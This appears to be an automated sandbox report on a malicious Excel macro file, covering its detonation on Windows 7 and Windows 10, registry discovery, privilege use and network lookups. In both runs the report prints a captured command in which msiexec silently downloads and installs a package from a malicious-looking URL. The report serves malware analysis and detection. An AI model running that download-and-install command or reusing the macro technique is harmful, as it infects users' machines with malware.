Malware Analysis Report

2024-10-24 17:10

Sample ID 240907-z662kaybqb
Target 8a8bfac2428d0c951afe998ddf030d9d734bd99939f641949be6908e58e7027b
SHA256 8a8bfac2428d0c951afe998ddf030d9d734bd99939f641949be6908e58e7027b
Tags
macro xlm discovery
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

8a8bfac2428d0c951afe998ddf030d9d734bd99939f641949be6908e58e7027b

Threat Level: Known bad

The file 8a8bfac2428d0c951afe998ddf030d9d734bd99939f641949be6908e58e7027b was found to be: Known bad.

Malicious Activity Summary

macro xlm discovery

Process spawned unexpected child process

Suspicious Office macro

Use of msiexec (install) with remote resource

System Location Discovery: System Language Discovery

Enumerates system info in registry

Suspicious behavior: AddClipboardFormatListener

Suspicious use of SetWindowsHookEx

Suspicious use of WriteProcessMemory

Suspicious use of AdjustPrivilegeToken

Checks processor information in registry

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2024-09-07 21:20

Signatures

Suspicious Office macro

macro xlm
Description Indicator Process Target
N/A N/A N/A N/A

Analysis: behavioral1

Detonation Overview

Submitted

2024-09-07 21:20

Reported

2024-09-07 21:21

Platform

win7-20240708-en

Max time kernel

27s

Max time network

17s

Command Line

"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\8a8bfac2428d0c951afe998ddf030d9d734bd99939f641949be6908e58e7027b.xls

Signatures

Process spawned unexpected child process

Description Indicator Process Target
Parent C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE is not expected to spawn this process N/A C:\Windows\SysWOW64\msiexec.exe C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE

Use of msiexec (install) with remote resource

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\msiexec.exe N/A

System Location Discovery: System Language Discovery

discovery
Description Indicator Process Target
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\msiexec.exe N/A

Enumerates system info in registry

Description Indicator Process Target
Key opened \REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE N/A

Suspicious behavior: AddClipboardFormatListener

Description Indicator Process Target
N/A N/A C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeShutdownPrivilege N/A C:\Windows\SysWOW64\msiexec.exe N/A
Token: SeIncreaseQuotaPrivilege N/A C:\Windows\SysWOW64\msiexec.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\system32\msiexec.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\system32\msiexec.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\system32\msiexec.exe N/A
Token: SeCreateTokenPrivilege N/A C:\Windows\SysWOW64\msiexec.exe N/A
Token: SeAssignPrimaryTokenPrivilege N/A C:\Windows\SysWOW64\msiexec.exe N/A
Token: SeLockMemoryPrivilege N/A C:\Windows\SysWOW64\msiexec.exe N/A
Token: SeIncreaseQuotaPrivilege N/A C:\Windows\SysWOW64\msiexec.exe N/A
Token: SeMachineAccountPrivilege N/A C:\Windows\SysWOW64\msiexec.exe N/A
Token: SeTcbPrivilege N/A C:\Windows\SysWOW64\msiexec.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\SysWOW64\msiexec.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\SysWOW64\msiexec.exe N/A
Token: SeLoadDriverPrivilege N/A C:\Windows\SysWOW64\msiexec.exe N/A
Token: SeSystemProfilePrivilege N/A C:\Windows\SysWOW64\msiexec.exe N/A
Token: SeSystemtimePrivilege N/A C:\Windows\SysWOW64\msiexec.exe N/A
Token: SeProfSingleProcessPrivilege N/A C:\Windows\SysWOW64\msiexec.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\SysWOW64\msiexec.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\SysWOW64\msiexec.exe N/A
Token: SeCreatePermanentPrivilege N/A C:\Windows\SysWOW64\msiexec.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\SysWOW64\msiexec.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\SysWOW64\msiexec.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\SysWOW64\msiexec.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\msiexec.exe N/A
Token: SeAuditPrivilege N/A C:\Windows\SysWOW64\msiexec.exe N/A
Token: SeSystemEnvironmentPrivilege N/A C:\Windows\SysWOW64\msiexec.exe N/A
Token: SeChangeNotifyPrivilege N/A C:\Windows\SysWOW64\msiexec.exe N/A
Token: SeRemoteShutdownPrivilege N/A C:\Windows\SysWOW64\msiexec.exe N/A
Token: SeUndockPrivilege N/A C:\Windows\SysWOW64\msiexec.exe N/A
Token: SeSyncAgentPrivilege N/A C:\Windows\SysWOW64\msiexec.exe N/A
Token: SeEnableDelegationPrivilege N/A C:\Windows\SysWOW64\msiexec.exe N/A
Token: SeManageVolumePrivilege N/A C:\Windows\SysWOW64\msiexec.exe N/A
Token: SeImpersonatePrivilege N/A C:\Windows\SysWOW64\msiexec.exe N/A
Token: SeCreateGlobalPrivilege N/A C:\Windows\SysWOW64\msiexec.exe N/A

Processes

C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE

"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\8a8bfac2428d0c951afe998ddf030d9d734bd99939f641949be6908e58e7027b.xls

C:\Windows\SysWOW64\msiexec.exe

msiexec.exe RESTART=1 /i http://zonaykan.com/lsadat2 /q ADRESS=TEMP

C:\Windows\system32\msiexec.exe

C:\Windows\system32\msiexec.exe /V

Network

Country Destination Domain Proto
US 8.8.8.8:53 zonaykan.com udp

Files

memory/2884-0-0x000000005FFF0000-0x0000000060000000-memory.dmp

memory/2884-1-0x0000000072A9D000-0x0000000072AA8000-memory.dmp

memory/2884-2-0x0000000072A9D000-0x0000000072AA8000-memory.dmp

Analysis: behavioral2

Detonation Overview

Submitted

2024-09-07 21:20

Reported

2024-09-07 21:21

Platform

win10v2004-20240802-en

Max time kernel

46s

Max time network

36s

Command Line

"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\8a8bfac2428d0c951afe998ddf030d9d734bd99939f641949be6908e58e7027b.xls"

Signatures

Process spawned unexpected child process

Description Indicator Process Target
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process N/A C:\Windows\SYSTEM32\msiexec.exe C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE

Use of msiexec (install) with remote resource

Description Indicator Process Target
N/A N/A C:\Windows\SYSTEM32\msiexec.exe N/A

Checks processor information in registry

Description Indicator Process Target
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE N/A
Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE N/A

Enumerates system info in registry

Description Indicator Process Target
Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE N/A

Suspicious behavior: AddClipboardFormatListener

Description Indicator Process Target
N/A N/A C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeShutdownPrivilege N/A C:\Windows\SYSTEM32\msiexec.exe N/A
Token: SeIncreaseQuotaPrivilege N/A C:\Windows\SYSTEM32\msiexec.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\system32\msiexec.exe N/A
Token: SeCreateTokenPrivilege N/A C:\Windows\SYSTEM32\msiexec.exe N/A
Token: SeAssignPrimaryTokenPrivilege N/A C:\Windows\SYSTEM32\msiexec.exe N/A
Token: SeLockMemoryPrivilege N/A C:\Windows\SYSTEM32\msiexec.exe N/A
Token: SeIncreaseQuotaPrivilege N/A C:\Windows\SYSTEM32\msiexec.exe N/A
Token: SeMachineAccountPrivilege N/A C:\Windows\SYSTEM32\msiexec.exe N/A
Token: SeTcbPrivilege N/A C:\Windows\SYSTEM32\msiexec.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\SYSTEM32\msiexec.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\SYSTEM32\msiexec.exe N/A
Token: SeLoadDriverPrivilege N/A C:\Windows\SYSTEM32\msiexec.exe N/A
Token: SeSystemProfilePrivilege N/A C:\Windows\SYSTEM32\msiexec.exe N/A
Token: SeSystemtimePrivilege N/A C:\Windows\SYSTEM32\msiexec.exe N/A
Token: SeProfSingleProcessPrivilege N/A C:\Windows\SYSTEM32\msiexec.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\SYSTEM32\msiexec.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\SYSTEM32\msiexec.exe N/A
Token: SeCreatePermanentPrivilege N/A C:\Windows\SYSTEM32\msiexec.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\SYSTEM32\msiexec.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\SYSTEM32\msiexec.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\SYSTEM32\msiexec.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SYSTEM32\msiexec.exe N/A
Token: SeAuditPrivilege N/A C:\Windows\SYSTEM32\msiexec.exe N/A
Token: SeSystemEnvironmentPrivilege N/A C:\Windows\SYSTEM32\msiexec.exe N/A
Token: SeChangeNotifyPrivilege N/A C:\Windows\SYSTEM32\msiexec.exe N/A
Token: SeRemoteShutdownPrivilege N/A C:\Windows\SYSTEM32\msiexec.exe N/A
Token: SeUndockPrivilege N/A C:\Windows\SYSTEM32\msiexec.exe N/A
Token: SeSyncAgentPrivilege N/A C:\Windows\SYSTEM32\msiexec.exe N/A
Token: SeEnableDelegationPrivilege N/A C:\Windows\SYSTEM32\msiexec.exe N/A
Token: SeManageVolumePrivilege N/A C:\Windows\SYSTEM32\msiexec.exe N/A
Token: SeImpersonatePrivilege N/A C:\Windows\SYSTEM32\msiexec.exe N/A
Token: SeCreateGlobalPrivilege N/A C:\Windows\SYSTEM32\msiexec.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 3980 wrote to memory of 3944 N/A C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE C:\Windows\SYSTEM32\msiexec.exe
PID 3980 wrote to memory of 3944 N/A C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE C:\Windows\SYSTEM32\msiexec.exe

Processes

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE

"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\8a8bfac2428d0c951afe998ddf030d9d734bd99939f641949be6908e58e7027b.xls"

C:\Windows\SYSTEM32\msiexec.exe

msiexec.exe RESTART=1 /i http://zonaykan.com/lsadat2 /q ADRESS=TEMP

C:\Windows\system32\msiexec.exe

C:\Windows\system32\msiexec.exe /V

Network

Country Destination Domain Proto
US 8.8.8.8:53 46.28.109.52.in-addr.arpa udp
US 8.8.8.8:53 roaming.officeapps.live.com udp
NL 52.109.89.19:443 roaming.officeapps.live.com tcp
US 8.8.8.8:53 zonaykan.com udp
US 8.8.8.8:53 217.106.137.52.in-addr.arpa udp
US 8.8.8.8:53 19.89.109.52.in-addr.arpa udp
US 8.8.8.8:53 73.144.22.2.in-addr.arpa udp
US 8.8.8.8:53 95.221.229.192.in-addr.arpa udp
US 8.8.8.8:53 12.173.189.20.in-addr.arpa udp
US 8.8.8.8:53 13.86.106.20.in-addr.arpa udp
US 8.8.8.8:53 103.169.127.40.in-addr.arpa udp
US 8.8.8.8:53 15.164.165.52.in-addr.arpa udp
US 8.8.8.8:53 172.210.232.199.in-addr.arpa udp

Files

memory/3980-0-0x00007FFA70010000-0x00007FFA70020000-memory.dmp

memory/3980-1-0x00007FFAB002D000-0x00007FFAB002E000-memory.dmp

memory/3980-3-0x00007FFA70010000-0x00007FFA70020000-memory.dmp

memory/3980-2-0x00007FFA70010000-0x00007FFA70020000-memory.dmp

memory/3980-5-0x00007FFA70010000-0x00007FFA70020000-memory.dmp

memory/3980-4-0x00007FFA70010000-0x00007FFA70020000-memory.dmp

memory/3980-9-0x00007FFAAFF90000-0x00007FFAB0185000-memory.dmp

memory/3980-8-0x00007FFAAFF90000-0x00007FFAB0185000-memory.dmp

memory/3980-7-0x00007FFAAFF90000-0x00007FFAB0185000-memory.dmp

memory/3980-6-0x00007FFAAFF90000-0x00007FFAB0185000-memory.dmp

memory/3980-11-0x00007FFAAFF90000-0x00007FFAB0185000-memory.dmp

memory/3980-10-0x00007FFAAFF90000-0x00007FFAB0185000-memory.dmp

memory/3980-12-0x00007FFA6DD30000-0x00007FFA6DD40000-memory.dmp

memory/3980-13-0x00007FFA6DD30000-0x00007FFA6DD40000-memory.dmp

memory/3980-14-0x00007FFAAFF90000-0x00007FFAB0185000-memory.dmp

memory/3980-16-0x00007FFAAFF90000-0x00007FFAB0185000-memory.dmp

memory/3980-17-0x00007FFAAFF90000-0x00007FFAB0185000-memory.dmp

memory/3980-19-0x00007FFAAFF90000-0x00007FFAB0185000-memory.dmp

memory/3980-20-0x00007FFAAFF90000-0x00007FFAB0185000-memory.dmp

memory/3980-18-0x00007FFAAFF90000-0x00007FFAB0185000-memory.dmp

memory/3980-15-0x00007FFAAFF90000-0x00007FFAB0185000-memory.dmp

memory/3980-21-0x00007FFAAFF90000-0x00007FFAB0185000-memory.dmp

memory/3980-22-0x00007FFAAFF90000-0x00007FFAB0185000-memory.dmp

memory/3980-37-0x00007FFAAFF90000-0x00007FFAB0185000-memory.dmp

memory/3980-38-0x00007FFAB002D000-0x00007FFAB002E000-memory.dmp

memory/3980-39-0x00007FFAAFF90000-0x00007FFAB0185000-memory.dmp

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\b8ab77100df80ab2.customDestinations-ms

MD5 dbf73059ab2b7042159f2bbed9c864cc
SHA1 b6bf717b7bca85b9634069fa8f73ab8336a647d2
SHA256 211e6673a047cbd6c403b466339311c41094ceb37a1558d2a55d6e44b58e5480
SHA512 77248727406bfcdc1e6ef878212a82a559ead5860f32ebd3e6c2bc231165658d42b882a1f36f3e08e48e03f432b2dd9374d098477c8634d2291236a42a558965